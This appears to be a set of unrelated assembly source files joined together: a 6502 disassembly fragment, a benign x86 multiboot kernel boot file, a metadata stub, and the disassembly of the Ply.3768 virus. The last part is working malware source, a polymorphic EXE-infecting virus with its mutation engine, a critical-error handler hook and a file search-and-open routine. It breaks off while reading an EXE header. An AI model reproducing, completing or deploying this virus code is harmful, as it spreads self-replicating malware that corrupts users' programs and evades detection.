ldx VNTD+1 bpl L_5A18 lda #$00 sta RUNSTK+1 clc lda TOPSTK adc RUNSTK adc RUNSTK rol RUNSTK+1 sta VNTD+1 lda TOPSTK+1 sec sbc VNTD+1 lda MEOLFLG sbc RUNSTK+1 bcc L_5A68 inc RUNSTK L_5A68 rts L_5A69 lda FR0+5 pha inc FR0+5 jsr L_5A7A pla sta FR0+5 L_5A74 lda #$FF sta CH rts L_5A7A lda FRE+2 beq L_5ABF jsr L_5354 lda FRE sta MEOLFLG lda FRE+1 sta $93 sec L_5A8A lda FRE sbc FRE+2 sta FRE lda FRE+1 sbc #$00 sta FRE+1 bcs L_5A8A bcc L_5A9D L_5A9A jsr L_5ABF L_5A9D jsr L_4D81 bne L_5A74 lda FRE clc adc FRE+2 sta FRE lda FRE+1 adc #$00 sta FRE+1 ora FRE beq L_5A9D lda FRE+1 cmp $93 bne L_5A9A lda FRE cmp MEOLFLG bcc L_5A9A L_5ABF ldy #$00 sty VVTP sty VVTP+1 dey sty STMTAB sty STMTAB+1 lda FRE+1 sta LOMEM+1 lda FRE sta LOMEM asl sta VNTP lda LOMEM+1 rol sta VNTP+1 lda #$03 sec sbc VNTP sta VNTP lda #$00 sbc VNTP+1 sta VNTP+1 jsr L_5B67 jmp L_5AF0 L_5AED jsr L_5B56 L_5AF0 bit VNTP+1 bpl L_5B03 lda VVTP+1 ldy VVTP jsr L_5B36 lda #$06 jsr L_5B43 jmp L_5B1F L_5B03 lda VVTP sec sbc LOMEM tay lda VVTP+1 sbc LOMEM+1 jsr L_5B36 lda #$0A jsr L_5B43 dec LOMEM lda LOMEM cmp #$FF bne L_5B1F dec LOMEM+1 L_5B1F inc VVTP bne L_5B25 inc VVTP+1 L_5B25 lda VVTP+1 cmp LOMEM+1 bcc L_5AED bne L_5B35 lda VVTP cmp LOMEM bcc L_5AED beq L_5B67 L_5B35 rts L_5B36 sta VNTD+1 sty VNTD asl VNTD rol VNTD+1 asl VNTD rol VNTD+1 rts L_5B43 clc adc VNTD bcc L_5B4B inc VNTD+1 clc L_5B4B adc VNTP sta VNTP lda VNTD+1 adc VNTP+1 sta VNTP+1 rts L_5B56 lda VVTP ldy VVTP+1 jsr L_5BA4 lda LOMEM ldy LOMEM+1 jsr L_5B82 jsr L_5BDC L_5B67 lda LOMEM ldy LOMEM+1 jsr L_5BA4 lda VVTP ldy VVTP+1 jsr L_5B82 ldy STARP lda STMCUR cmp STMTAB bne L_5BD8 cpy STMTAB+1 bne L_5BD8 rts L_5B82 sty STMCUR+1 lsr STMCUR+1 ror sta STMCUR lda ERRSAV sec sbc STMCUR sta RUNSTK lda #$00 sbc STMCUR+1 sta RUNSTK+1 lda ERRSAV clc adc STMCUR sta STMCUR lda #$00 adc STMCUR+1 sta STMCUR+1 rts L_5BA4 tax sty STARP+1 lsr STARP+1 ror lsr STARP+1 ror lsr STARP+1 ror sta STARP txa clc sbc STARP sta TOPSTK tya sbc STARP+1 sta TOPSTK+1 lda TOPSTK clc adc TEMPA sta STARP lda TOPSTK+1 adc #$00 sta STARP+1 lda TEMPA sec sbc TOPSTK sta TOPSTK lda #$00 sbc TOPSTK+1 sta TOPSTK+1 L_5BD7 rts L_5BD8 sta STMTAB sty STMTAB+1 L_5BDC ldx #$00 ldy #$02 jsr L_5BF5 ldx #$04 ldy #$06 jsr L_5BF5 ldx #$04 ldy #$02 jsr L_5BF5 ldx #$00 ldy #$06 L_5BF5 lda STMCUR+1,x bne L_5BD7 lda STMCUR+1,y bne L_5BD7 lda STMCUR,x sta POKADR+1 ldx STMCUR,y stx SVESA ldy COMCNT beq L_5C0D L_5C0A jmp L_5084 L_5C0D ldy LELNUM beq L_5C0A ldy FRE+2 bne L_5C0A cpx #$C0 bcs L_5BD7 cmp #$A0 bcs L_5BD7 jmp L_56BD L_5C20 lda FCHRFLG sta STARP sta $066F sec lda DIGRT sbc #$04 sta STARP+1 sta $067F tay ldx #$00 L_5C34 clc lda $066F,x adc #$28 sta $0670,x bcc L_5C40 iny L_5C40 tya sta $0680,x inx cpx #$0F bne L_5C34 lda STARP ldy STARP+1 rts L_5C4E stx STMCUR sty STMCUR+1 L_5C52 lda STMCUR clc ldy STMCUR+1 adc $066F,y sta STARP lda $067F,y adc #$00 sta STARP+1 rts L_5C64 pha and #$7F tay pla cpy #$60 bcs L_5C73 cpy #$20 bcs L_5C74 adc #$40 L_5C73 rts L_5C74 sbc #$20 rts L_5C77 ora MEOLFLG jsr L_5C64 L_5C7C ldy #$00 sta (STARP),y L_5C80 inc STARP bne L_5C86 inc STARP+1 L_5C86 rts L_5C87 sta TOPSTK sty TOPSTK+1 L_5C8B ldy #$00 lda (TOPSTK),y inc TOPSTK bne L_5C95 inc TOPSTK+1 L_5C95 cmp #$9B bne L_5C9A rts L_5C9A jsr L_5C77 jmp L_5C8B L_5CA0 ldy #$00 L_5CA2 cmp #$64 bcc L_5CAB iny sbc #$64 bcs L_5CA2 L_5CAB pha tya ora #$10 jsr L_5C7C pla L_5CB3 cmp #$0A bcc L_5CBC iny sbc #$0A bcs L_5CB3 L_5CBC pha tya ora #$10 jsr L_5C7C pla ora #$10 jmp L_5C7C ldx #$00 L_5CCB stx STMCUR+1 lda $066F,x sta STARP lda $067F,x sta STARP+1 lda #$00 sta STMCUR ldy #$27 L_5CDD sta (STARP),y dey bpl L_5CDD rts ldx #$01 bne L_5CCB L_5CE7 lda #$02 bne L_5CCB L_5CEB ldx #$03 bne L_5CCB L_5CEF ldx #$0F L_5CF1 jsr L_5CCB dex bpl L_5CF1 rts L_5CF8 lda STARP bne L_5CFE dec STARP+1 L_5CFE dec STARP lda #$00 tay sta (STARP),y rts L_5D06 lda STARP bne L_5D0C dec STARP+1 L_5D0C dec STARP rts L_5D0F lda STARP pha jsr L_5C52 pla sec sbc STARP tay lda #$00 L_5D1C sta (STARP),y dey bpl L_5D1C rts L_5D22 lda CH cmp #$FF beq L_5D34 L_5D29 and #$3F tay lda #$FF sta CH lda L_5D35,y L_5D34 rts L_5D35 jmp $3A4A .byte $FF, $FF, $4B, $1E, $1F, $4F, $FF, $50 .byte $55, $9B, $49, $FF, $FF, $56, $FF, $43 .byte $FF, $FF, $42, $58, $5A, $34, $FF, $33 .byte $36, $1B, $35, $32, $31, $FF, $20, $2E .byte $4E, $FF, $4D, $FF, $FF, $52, $FF, $45 .byte $59, $FF, $54, $57, $51, $39, $FF, $30 .byte $37, $7E, $38, $7D, $FF, $46, $48, $44 .byte $FF, $FF, $47, $53, $41, $04, $00, $00 .byte $3F, $06, $01, $01, $04, $10, $FF, $06 .byte $01, $02, $A1, $54, $FF, $07, $01, $04 .byte $15, $61, $56, $8F, $09, $00, $05, $11 .byte $11, $11, $11, $11, $3F, $06, $04, $00 .byte $00, $00, $FF, $0C, $03, $03, $AA, $81 .byte $AA, $06, $A0, $68, $18, $10, $FF, $09 .byte $02, $02, $A1, $88, $4A, $86, $21, $A3 .byte $04, $00, $00, $3F, $04, $00, $00, $3F .byte $00, $01, $03, $05, $09, $0B, $01, $06 .byte $05, $09, $10, $00, $01, $01, $01, $00 .byte $04, $03, $02, $03, $03, $00, $01, $02 .byte $04, $05, $00, $03, $02, $04, $04, $EB .byte $EC, $EF, $F4, $FD, $08, $09, $0F, $1B .byte $14, $5D, $5D, $5D, $5D, $5D, $5E, $5E .byte $5E, $5E, $5E, $80, $C0, $C0, $C0, $80 .byte $00, $00, $00, $20, $20, $00, $00, $00 .byte $40, $00, $00, $00, $80, $80, $80, $80 .byte $80, $80, $80, $80, $80, $80, $80, $80 .byte $FF, $C0, $60, $30, $18, $0C, $06, $20 .byte $50, $88, $50, $20, $95, $95, $95, $D5 .byte $85, $D5, $00, $10, $10, $10, $28, $C6 .byte $28, $10, $10, $10, $2A, $17, $25, $36 .byte $37, $3E, $26, $12, $3A, $0A, $00, $05 .byte $28, $38, $10, $16, $08, $2F, $55, $5F .byte $5E, $49, $49, $41, $36, $38, $5F, $5F .byte $5F, $5F, $5F, $5F, $5F, $5F, $5E, $5E L_5E48 .byte $2B, $2F, $5A, $FD, $1F, $24, $6D, $EA .byte $43, $49, $55, $5B, $6D, $83, $96, $9C .byte $63, $63 lda ADFLAG eor #$01 sta ADFLAG jmp L_3DA9 L_5E63 lda #$00 sta COMCNT sta FR0+5 jsr L_5FC8 stx ERRSAV stx POKADR+1 txa adc #$03 sta TEMPA+1 sty TEMPA sty ZTEMP2 sty SVESA lda #$7F sta COMCNT lda #$00 sta FRE+2 jsr L_5084 jsr L_5ED0 L_5E89 jsr L_51C6 lda $CB sta TEMPA+1 lda $CC sta ZTEMP2 lda FR2 cmp #$08 bcc L_5EA2 bne L_5E89 jsr L_5F21 jmp L_5E63 L_5EA2 cmp #$02 bne L_5EBB jsr L_5F21 lda #$00 sta COMCNT lda STINDEX cmp #$08 beq L_5EB5 inc FRE+2 L_5EB5 jsr L_5ED0 jmp L_5E63 L_5EBB lda TEMPA+1 cmp CPC+1 bne L_5EC7 lda ZTEMP2 cmp LLNGTH beq L_5E89 L_5EC7 jsr L_5A69 jsr L_5ED0 jmp L_5E89 L_5ED0 lda ZTEMP2 sta LLNGTH lda TEMPA+1 sta CPC+1 sec sbc ERRSAV bcs L_5EE1 eor #$FF adc #$01 L_5EE1 jsr L_59DA sta FRE stx FRE+1 lda ZTEMP2 sec sbc TEMPA bcs L_5EF3 eor #$FF adc #$01 L_5EF3 sta STARP lsr lsr lsr clc adc STARP lsr jsr L_59DA clc adc FRE sta STMCUR txa adc FRE+1 sta STMCUR+1 jsr L_5A03 lda #$00 sta FRE+1 lda RUNSTK sta FRE bne L_5F1A inc FRE bne L_5F1E L_5F1A asl FRE rol FRE+1 L_5F1E jmp L_5A69 L_5F21 jsr L_5A69 lda ERRSAV sta POKADR+1 lda TEMPA sta SVESA jmp L_5084 ldy #$00 lda $D0 eor #$FF sta $D0 sty $D1 jmp L_3DA9 L_5F3C txa jsr L_58D4 jmp L_3DA9 jsr L_5173 jmp L_3DB3 L_5F49 jsr L_5FC8 jsr L_56B5 jsr L_56D2 jmp L_5F49 L_5F55 jsr L_5FBA jmp L_5F55 L_5F5B jsr L_5FBA L_5F5E ldx TEMPA+1 ldy ZTEMP2 jsr L_5FA2 lda FR2 cmp #$08 beq L_5F5B bne L_5F5E L_5F6D jsr L_5FBA lda FR2 cmp #$08 beq L_5F6D cmp #$12 beq L_5F6D jsr L_580A jsr L_5FEA jmp L_5F6D L_5F83 lda #$09 sta ONLOOP jsr L_565C jsr L_5FC8 jsr L_5FC3 jsr L_4E51 jmp L_5F83 L_5F96 jsr L_5FBA jmp L_5F96 L_5F9C jsr L_5FBA jmp L_5F9C L_5FA2 lda FR2 cmp #$08 beq L_5FB0 cmp #$12 bne L_5FB1 lda #$08 sta FR2 L_5FB0 rts L_5FB1 jsr L_5FC3 jsr L_4D93 jmp L_581F L_5FBA lda STINDEX sta ZTEMP2+1 jsr L_5FC8 bne L_5FB1 L_5FC3 stx POKADR+1 sty SVESA rts L_5FC8 lda LELNUM pha lda STINDEX cmp #$07 beq L_5FD5 cmp #$09 bne L_5FE0 L_5FD5 lda #$00 sta LELNUM lda #$08 sta ONLOOP jsr L_565C L_5FE0 jsr L_5147 pla sta LELNUM ldx $CB ldy $CC L_5FEA lda FR2 cmp #$08 beq L_5FF5 cmp #$12 beq L_5FF5 rts L_5FF5 jmp L_3DB3
33.009899
70
0.311152
48bbe188c801c0ce2b4a4851133b69a5669ecc9f
4,824
asm
Assembly
CodeGlosser/example_project/boot.asm
LouisJenkinsCS/Code-Glosser
e0ff6e250ad192005b2e3feaf40cc5ee6efecf87
[ "BSD-3-Clause" ]
4
2017-03-15T15:42:34.000Z
2019-11-09T20:53:29.000Z
CodeGlosser/example_project/boot.asm
LouisJenkinsCS/Code-Glosser
e0ff6e250ad192005b2e3feaf40cc5ee6efecf87
[ "BSD-3-Clause" ]
17
2016-11-03T20:27:50.000Z
2017-02-26T22:02:50.000Z
CodeGlosser/example_project/boot.asm
LouisJenkinsCS/Code-Glosser
e0ff6e250ad192005b2e3feaf40cc5ee6efecf87
[ "BSD-3-Clause" ]
1
2019-11-09T20:53:30.000Z
2019-11-09T20:53:30.000Z
; Constant Declarations for Multiboot Header (GRUB) ALIGN_ON_PAGE equ 1 << 0 ; Align modules on page boundaries USE_MMAP equ 1 << 1 ; Provide memory map FLAGS equ ALIGN_ON_PAGE | USE_MMAP ; Multiboot flag MAGIC equ 0x1BADB002 ; 'Magic Number' needed to allow bootloader to find header CHECKSUM equ -(MAGIC + FLAGS) ; Checksum to prove we are multiboot ; Declare the multiboot header needed by GRUB section .multiboot align 4 dd MAGIC dd FLAGS dd CHECKSUM ; Setup stack pointer register (esp), as its contents are currently undefined. Allocate 16KBs section .create_stack nobits align 4 stack_bottom: resb 16 * 1024 stack_top: ; Below we setup paging (virtual memory) and move our kernel to the higher half VIRTUAL_ADDRESS_START equ 0xC0000000 ; Since each index in the Page Directory only uses the higher 12 bits, which is ; used as it's index, we keep a convenient constant of it. KERNEL_INDEX equ (VIRTUAL_ADDRESS_START >> 22) ; A constant for Page Directory entries that sets the PS, RW, and P bits, which specify ; that the pages should be 4MBs in size, that it can be read and written to, and is present ; respectively. PDE_DEFAULT equ 0x00000083 ; Setup the paging structures needed to bootstrap our kernel section .data align 0x1000 ; This is the Page Directory that we use to bootstrap. bootstrap_page_directory: ; Because we are remapping our kernel to KERNEL_START, our current ; instruction pointer will cause us to page fault (and then double fault and ; then triple fault) and trigger a hardware reset. Hence before we enable paging ; we must identity map each virtual address to it's respective physical address. dd PDE_DEFAULT ; All pages besides the kernel's are not present in memory times (KERNEL_INDEX - 1) dd 0 ; Kernel Entry dd PDE_DEFAULT ; Pages after the kernel times (1024 - KERNEL_INDEX - 1) dd 0 section .text ; This is the entry point for the linker, which will start the instruction pointer in a ; valid physical memory location. global start start equ (_start - VIRTUAL_ADDRESS_START) global _start ; Setup paging -- Note that at this point, we are still in physical memory, and as such we need ; to ensure that we begin relative to the physical location 0x0. _start: ; Load the Page Directory we setup above mov ecx, (bootstrap_page_directory - VIRTUAL_ADDRESS_START) mov cr3, ecx ; Enable 4MB paging by setting the PSE bit in CR4 mov ecx, cr4 or ecx, 0x00000010 mov cr4, ecx ; Enable paging by setting the PG bit in CR4 mov ecx, cr0 or ecx, 0x80000000 mov cr0, ecx ; NOTE: At this point in time, paging has been enabled, and we are now using virtual memory. ; This includes the instruction pointer, and as such we need to perform a long jump. As well, ; the CPU needs to clear it's instruction cache it prefetched, which can be cleaned out by ; performing a branch instruction, so this does performs double duty. lea ecx, [__start] jmp ecx ; Setting up the stack and finally passing control back to our preferred language (C) __start: ; Unmap the identity mapping established above of 0 - 4MBs, as we no longer require it. ; At this point, our instruction pointer no points into 0xC0000000+ area. mov dword [bootstrap_page_directory], 0 invlpg [0] ; Setup the stack pointer to point to the stack allocated above mov esp, stack_top ; EBX contains a pointer to the multiboot info structure that we should save for later ; Since it is the physical address, we need to convert it to it's virtual address add ebx, VIRTUAL_ADDRESS_START push ebx ; Zero EBP which is used to signify the end of a stack trace mov ebp, 0 ; Initialize the core facilities of the kernel extern kernel_init call kernel_init ; Clean up stack frame add esp, 4 ; Zero EBP again since kernel_init will have changed it mov ebp, 0 ; Finally, jump to kmain, and leave assembly behind for good extern kernel_main call kernel_main ; If we do end up back here, the bootloader is gone and hence there is nothing left to do but halt permanently cli .hang: hlt jmp .hang ; gdt_flush -- Load the GDT (Global Descriptor Table) global gdt_flush gdt_flush: ; Obtain the gdt_ptr passed and load it mov eax, [esp + 4] lgdt [eax] ; Setup the kernel's Data Segment Descriptor mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Far Jump to the kernel's Code Segment flush label jmp 0x8:.flush .flush: ret ; idt_flush -- Load the IDT (Interrupt Descriptor Table) global idt_flush idt_flush: ; Obtain idt_ptr structure on stack and load it. mov eax, [esp + 4] lidt [eax] ret
31.736842
113
0.720357
87aa5039a9b1a097d06d658b23d0ec138e9d82d9
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mut1.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mut1.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mut1.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_mut1.asm Type: file Size: 149632 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: 4B54D3A6B98B9F208BC124C069C0D1A5DA6C1CDF Description: null
21
47
0.816327
d0f71f52f1e048357931af525cd1b8afbacdf0ac
24,537
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.ply_3768.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
comment * Ply.3768 Disassembly by Darkman/VLAD Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every file in current directory, when executed, by appending the virus to the infected file. Ply.3768 has an error handler, anti-heuristic techniques and is polymorphic in file using its internal polymorphic engine. To compile Ply.3768 with Turbo Assembler v 4.0 type: TASM /m PLY_3768.ASM TLINK /t /x PLY_3768.OBJ * .model tiny .code org 100h ; Origin of Ply.3768 code_begin: delta_offset equ $+01h ; Delta offset mov bp,100h ; BP = delta offset poly_begin: mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop mov es,ax ; ES = " " nop mov ax,100h ; AX = offset of beginning of code sub bp,ax ; Subtract offset of beginning of ... nop sti ; Set interrupt-enable flag nop nop cld ; Clear direction flag nop nop lea si,poly_begin ; SI = offset of poly_begin add si,bp ; Add delta offset nop mov cx,(poly_end-poly_begin)/03h poly_loop: in al,40h ; AL = 8-bit random number nop and al,00000111b ; AL = random number between zero ... nop push cx ; Save CX at stack nop nop push si ; Save SI at stack nop nop cmp al,00h ; Prepend a NOP to the opcode? nop jne test_append ; Not equal? Jump to test_append nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop je dont_poly ; Equal? Jump to dont_poly nop mov al,[si+02h] ; AL = third byte of three-byte block cmp al,90h ; NOP (opcode 90h) nop jne dont_poly ; Not equal? Jump to dont_poly nop mov ax,[si] ; AX = first word of three-bytes b... nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx+01h],ax ; Store first word of three-bytes ... cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8 ; Equal? Jump to dec_imm8 nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne prepend_nop ; Not equal? Jump to prepend_nop nop dec_imm8: dec byte ptr [bx+02h] ; Decrease 8-bit immediate prepend_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx],al ; Prepend a NOP to the opcode nop mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly: jmp test_loop test_append: cmp al,01h ; Append a NOP to the opcode? nop jne test_create ; Not equal? Jump to test_create nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne dont_poly_ ; Not equal? Jump to dont_poly_ nop mov ax,[si+01h] ; AX = second word of three-bytes ... lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],ax ; Store second word of three-bytes... nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8_ ; Equal? Jump to dec_imm8_ nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne append_nop ; Not equal? Jump to append_nop nop dec_imm8_: inc byte ptr [bx+01h] ; Decrease 8-bit immediate append_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx+02h],al ; Append a NOP to the opcode mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly_: jmp test_loop test_create: cmp al,02h ; Create a CALL imm16 to the opcode? nop jne delete_call ; Not equal? Jump to delete_call nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_call ; Not equal? Jump to create_call nop mov al,ah ; AL = second byte of three-bytes ... nop create_call: cmp al,0e9h ; JMP imm16 (opcode 0e9h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0c3h ; RET (opcode 0c3h) nop je call_exit ; Equal? Jump to call_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je call_exit ; Equal? Jump to call_exit nop cmp al,50h ; PUSH reg16/POP reg16? nop je call_exit ; Equal? Jump to call_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0c3h ; RET (opcode 0c3h) nop stosb ; Store RET nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop mov al,0e8h ; CALL imm16 (opcode 0e8h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a CALL imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop call_exit: jmp test_loop delete_call: cmp al,03h ; Delete previously created CALL i... nop jne test_create_ ; Not equal? Jump to test_create_ nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e8h ; CALL imm16 (opcode 0e8h)? nop jne call_exit_ ; Not equal? Jump to call_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb call_exit_ ; Below? Jump to call_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop call_exit_: jmp test_loop test_create_: cmp al,04h ; Create a JMP imm16 to the opcode? nop jne delete_jmp ; Not equal? Jump to delete_jmp nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_jmp ; Not equal? Jump to create_jmp nop mov al,ah ; AL = second byte of three-bytes ... nop create_jmp: cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je jmp_exit ; Equal? Jump to jmp_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je jmp_exit ; Equal? Jump to jmp_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop stosb ; Store JMP imm16 nop nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop neg ax ; Negate AX nop sub ax,02h ; Subtract two from 16-bit immediate stosw ; Store 16-bit immediate nop nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a JMP imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop jmp_exit: jmp test_loop nop delete_jmp: cmp al,05h ; Delete previously created JMP im... nop jne test_loop ; Not equal? Jump to test_loop nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop jne jmp_exit_ ; Not equal? Jump to jmp_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb jmp_exit_ ; Below? Jump to jmp_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop jmp_exit_: jmp test_loop nop test_loop: pop si ; Load SI from stack nop nop pop cx ; Load CX from stack nop nop mov ax,03h ; AX = size of block add si,ax ; SI = offset of next three-byte b... nop dec cx ; Decrease CX nop nop jz poly_exit ; Zero? Jump to poly_exit nop jmp poly_loop poly_exit: jmp prepare_exit nop get_poly_off proc near ; Get random offset of polymorphic... in al,40h ; AL = 8-bit random number nop mov ah,al ; AH = " " " nop in al,40h ; AL = 8-bit random number nop mov di,ax ; DI = 16-bit random number nop mov ax,(poly_end-poly_begin)/03h get_rnd_num: sub di,ax ; Subtract number of polymorphic b... nop cmp di,ax ; Too large a 16-bit random number? nop jae get_rnd_num ; Above or equal? Jump to get_rnd_num nop mov ax,di ; AX = 16-bit random number within... nop add di,ax ; Add number of polymorphic blocks nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop lea ax,poly_blocks ; AX = offset of poly_blocks add di,ax ; Add offset of poly_blocks to ran... nop add di,bp ; Add delta offset nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop cmp [di],ax ; Offset already in use? nop jne get_poly_off ; Not equal? Jump to get_poly_off nop ret ; Return! nop nop endp prepare_exit: lea si,file_header ; SI = offset of file_header add si,bp ; Add delta offset nop lea di,instruct_ptr ; SI = offset of instruct_ptr add di,bp ; Add delta offset nop mov ax,[si+14h] ; AX = instruction pointer stosw ; Store instruction pointer nop nop mov ax,[si+16h] ; AX = code segment stosw ; Store code segment nop nop mov ax,[si+0eh] ; AX = stack segment stosw ; Store stack segment nop nop mov ax,[si+10h] ; AX = stack pointer stosw ; Store stack pointer nop nop mov ah,1ah ; Set disk transfer area address nop lea dx,dta ; DX = offset of dta add dx,bp ; Add delta offset nop mov di,dx ; DI = offset of dta nop int 21h nop mov ax,3524h ; Get interrupt vector 24h int 21h nop push bx ; Save BX at stack nop nop mov ax,es ; ES = segment of interrupt 24h nop push ax ; Save AX at stack nop nop mov ax,cs ; AX = code segment nop mov es,ax ; ES = " " nop mov ax,2524h ; Get interrupt vector 24h lea dx,int24_virus ; DX = offset of int24_virus add dx,bp ; Add delta offset nop int 21h nop mov ax,(4e00h+2020h) ; Find first matching file sub ax,2020h mov cx,0000000000000111b lea dx,file_specifi ; DX = offset of file_specifi add dx,bp ; Add delta offset nop mov bx,dx ; BX = offset of file_specifi nop mov al,'E' nop mov [bx+02h],al ; Correct the file specification find_next: int 21h nop jnc open_file ; No error? Jump to open_file nop pop ax ; Load AX from stack nop nop mov ds,ax ; DS = segment of interrupt 24h nop pop dx ; Load DX from stack nop nop mov ax,2524h ; Set interrupt vector 24h int 21h nop mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop mov ah,62h ; Get current PSP address nop int 21h nop mov ds,bx ; DS = segment of PSP for current ... nop mov ah,1ah ; Set disk transfer area address nop mov dx,80h ; DX = offset of default disk tran... int 21h nop mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop jmp virus_exit open_file: mov al,'V' nop mov [bx+02h],al ; Correct the file specification mov ax,3d00h ; Open file (read) lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ah,3fh ; Read from file nop mov dx,si ; DX = offset of file_header nop mov cx,1ah 